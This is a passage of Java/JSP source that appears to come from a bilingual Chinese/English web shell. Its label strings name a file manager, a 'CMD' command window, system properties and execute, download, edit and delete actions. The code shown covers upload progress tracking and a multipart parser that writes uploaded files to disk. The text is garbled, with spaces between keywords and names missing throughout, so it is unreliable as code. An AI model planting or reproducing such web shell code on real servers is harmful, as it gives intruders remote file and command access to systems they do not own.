Thanks for your support "};String[] strFileManage={"文 件 管 理","File Management"};String[] strCommand={"CMD 命 令","Command Window"};String[] strSysProperty={"系 统 属 性","System Property"};String[] strHelp={"帮 助","Help"};String[] strParentFolder={"上级目录","Parent Folder"};String[] strCurrentFolder={"当前目录","Current Folder"};String[] strDrivers={"驱动器","Drivers"};String[] strFileName={"文件名称","File Name"};String[] strFileSize={"文件大小","File Size"};String[] strLastModified={"最后修改","Last Modified"};String[] strFileOperation={"文件操作","Operations"};String[] strFileEdit={"修改","Edit"};String[] strFileDown={"下载","Download"};String[] strFileCopy={"复制","Move"};String[] strFileDel={"删除","Delete"};String[] strExecute={"执行","Execute"};String[] strBack={"返回","Back"};String[] strFileSave={"保存","Save"};publicclass FileHandler {private StringstrAction= "";private StringstrFile= "";
void FileHandler(Stringaction,Stringf) {}
}publicstatic class UploadMonitor {
static Hashtable uploadTable= newHashtable();
static voidset(StringfName, UplInfo info) {
uploadTable.put(fName, info);
}
static void remove(StringfName) {
uploadTable.remove(fName);
}
static UplInfo getInfo(StringfName) {
UplInfo info=(UplInfo) uploadTable.get(fName);
return info;
}
}publicclass UplInfo {public longtotalSize;public longcurrSize;public longstarttime;public booleanaborted;publicUplInfo() {
totalSize=0l;
currSize=0l;
starttime=System.currentTimeMillis();
aborted= false;
}publicUplInfo(intsize) {
totalSize=size;
currSize= 0;
starttime=System.currentTimeMillis();
aborted= false;
}public StringgetUprate() {long time =System.currentTimeMillis()-starttime;if(time!= 0) {longuprate=currSize* 1000 / time;
return convertFileSize(uprate)+ "/s";
}elsereturn"n/a";
}public intgetPercent() {if(totalSize== 0)
return0;elsereturn (int) (currSize* 100 /totalSize);
}public StringgetTimeElapsed() {long time =(System.currentTimeMillis()-starttime)/1000l;if(time -60l>= 0) {if(time%60 >= 10)
returntime / 60 + ":" +(time%60)+ "m";elsereturntime / 60 + ":0" +(time%60)+ "m";
}elsereturntime < 10?"0" + time + "s":time + "s";
}public StringgetTimeEstimated() {if(currSize== 0)
return"n/a";long time =System.currentTimeMillis()-starttime;time =totalSize* time /currSize;time /=1000l;if(time -60l>= 0) {if(time%60 >= 10)
returntime / 60 + ":" +(time%60)+ "m";elsereturntime / 60 + ":0" +(time%60)+ "m";
}elsereturntime < 10?"0" + time + "s":time + "s";
}
}publicclass FileInfo {public Stringname= null, clientFileName= null,fileContentType= null;private byte[] fileContents= null;publicFile file= null;publicStringBuffer sb= newStringBuffer(100);publicvoid setFileContents(byte[] aByteArray) {
fileContents= new byte[aByteArray.length];
System.arraycopy(aByteArray,0, fileContents,0, aByteArray.length);
}
}//A Classwithmethods usedtoprocess a ServletInputStreampublicclass HttpMultiPartParser {privatefinalStringlineSeparator=System.getProperty("line.separator","\n");privatefinalintONE_MB= 1024 * 1;publicHashtable processData(ServletInputStreamis,Stringboundary,StringsaveInDir,intclength) throws IllegalArgumentException,IOException {if(is == null)
thrownewIllegalArgumentException("InputStream");if(boundary== null|| boundary.trim().length()< 1)
thrownewIllegalArgumentException("\"" + boundary+"\"is an illegal boundary indicator");
boundary= "--" +boundary;
StringTokenizer stLine= null, stFields= null;
FileInfo fileInfo= null;
Hashtable dataTable= newHashtable(5);Stringline= null, field= null, paramName= null;booleansaveFiles=(saveInDir != null &&saveInDir.trim().length()> 0);booleanisFile= false;if(saveFiles) {//Create the required directory (including parent dirs)
File f= newFile(saveInDir);
f.mkdirs();
}
line=getLine(is);if(line== null|| !line.startsWith(boundary))
thrownewIOException("Boundary not found; boundary ="
+boundary+ ", line =" +line);while(line != null) {if(line== null|| !line.startsWith(boundary))
return dataTable;
line=getLine(is);if(line== null)
return dataTable;
stLine= newStringTokenizer(line,";\r\n");if(stLine.countTokens()< 2)
thrownewIllegalArgumentException("Bad data in second line");
line=stLine.nextToken().toLowerCase();if(line.indexOf("form-data")< 0)
thrownewIllegalArgumentException("Bad data in second line");
stFields= newStringTokenizer(stLine.nextToken(),"=\"");
if(stFields.countTokens()< 2)
thrownewIllegalArgumentException("Bad data in second line");
fileInfo= newFileInfo();
stFields.nextToken();
paramName=stFields.nextToken();
isFile= false;if(stLine.hasMoreTokens()) {
field